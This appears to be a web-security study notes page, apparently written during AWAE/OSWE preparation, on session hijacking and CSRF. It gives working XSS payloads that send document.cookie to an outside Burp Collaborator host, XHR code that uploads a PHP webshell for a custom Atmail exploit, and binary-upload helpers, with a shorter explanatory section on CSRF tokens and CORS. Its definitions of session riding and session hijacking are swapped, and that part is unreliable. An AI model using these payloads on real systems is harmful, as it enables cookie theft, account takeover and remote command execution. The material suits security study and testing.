Session Riding

Session Riding

in

Table of Contents

What is CSRF?

Session Hijacking

We can hijack a session by stealing a users cookie.
The limitation of this is that we can only operate in the session until the cookie times out or the user logs out.
It can be a short window of opportunity. The primary way we can get a session cookie is through xss.

<script>
fetch('https://9isdh1xf5f08r21z807dj8p3augn4c.burpcollaborator.net/', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
function addTheImage() {
  var img = document.createElement('img');
  img.src = `https://${document.cookie}.9isdh1xf5f08r21z807dj8p3augn4c.burpcollaborator.net/`;
  document.body.appendChild(img);
}

addTheImage();

We can type this in the browser console:

javascript:void(document.cookie="cookie-name=cookievalue");

Session Riding (AKA CSRF)

Difference Between Session Riding And Session Hijacking

The difference between session hijacking and session riding aka (CSRF):

  • session riding: The attacker uses a stolen cookie to perform the attack.
  • session hijacking: the victim performs the attack on the attackers behalf wthrough a legitimately authenticated session in the target webapp.

Session Riding (AKA CSRF) Through XHR

Here is a template for parsing xhr responses.

function read_body(xhr) {
  var data;
  if (!xhr.responseType || xhr.responseType === "text") {
      data = xhr.responseText;
  } else if (xhr.responseType === "document") {
      data = xhr.responseXML;
  } else if (xhr.responseType === "json") {
      data = xhr.responseJSON;
  } else {
      data = xhr.response;
  }
  return data;
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == XMLHttpRequest.DONE) {
      console.log(read_body(xhr));
  }
}
xhr.open(req_method, target, true);
xhr.send(null);

Submitting Form Data Through XHR

At the time of this blog post, most resources online say that you need XHR2 to submit form data.
Unfortunately older browsers do not support XHR2.
Below is an example, from when I was writing a custom exploit for Atmail in AWAE, of submitting a webshell through XHR as an email attachment.

var target = 'http://target/';
xhr.open("POST", target, false);
var boundary = '---------------------------';
boundary += Math.floor(Math.random()*32768);
boundary += Math.floor(Math.random()*32768);
boundary += Math.floor(Math.random()*32768);
xhr.setRequestHeader("Content-Type", 'multipart/form-data; boundary=' + boundary);
var body = '';
body += '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="newAttachment"; filename="cucked.php"';
body += '\r\n\r\n';
body += "<?php system($_GET['cmd'])?>";
body += '\r\n'
body += '--' + boundary + '--';
xhr.send(body);

Submitting Binary Form Data Through XHR

The first thing we want to do is create a hexdump of the file in question.
XXD does the trick:

xxd -p file

Typically though we want to insert a ‘\x’ every two bytes, so the line below is alot more useful.

xxd -p module.tgz | tr -d '\n' | sed 's/\(..\)/\\x\1/g' 

Note the above get rid of newlines, sometimes we might want this.
Javascript for instance limits the number of characters in a string variable to 254.

xxd -p module.tgz | sed 's/\(..\)/\\x\1/g' 

Afterwards we can use the form api along with XHR

function uploadPlugin()
{
    var uri = "uri";
    var name = "file name";
    filename = "tar file for example";
    var body = "hex data";
    var formData = new FormData();
    var payload = new Uint8Array(body.length);
    for (var i = 0; i < payload.length; i++)
    {
        payload[i] = body.charCodeAt(i);
    }
    var blob = new Blob([payload])
    formData.append(name, blob, filename);
    var xhr = new XMLHttpRequest();
    xhr.open("POST", uri);
    xhr.send(formData);   
}

CSRF Mitigations

CSRF Tokens

A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in such a way that it is included in a subsequent HTTP request made by the client. When the later request is made, the server-side application validates that the request includes the expected token and rejects the request if the token is missing or invalid.
CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user.
CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user. Since the attacker cannot determine or predict the value of a user’s CSRF token, they cannot construct a request with all the parameters that are necessary for the application to honor the request.
IF an application has permissive CORS headers, it is possible to extract a CSRF token by requesting it from a page that would embed it.

When Can We Use CSRF?

Understanding the relationship between SOP, CORS, and the SameSite attribute is critical in understanding how and when an application might be vulnerable to CSRF.

Same Origin Policy

See SOP.

CORS

See CORS for an explanation.

  • If there are permissive CORS headers, it may be possible to ride the users session, via reflected XSS.
  • The most important thing to remember is that CORS prevents javascript from reading a HTTP response. CORS does not prevent javascript from sending a request therefore CORS DOES NOT PROTECT AGAINST CSRF.
  • What CORS does do is provide instructions to the web browser on which origins are restricted, so CSRF is possible even with permissive CORS headers.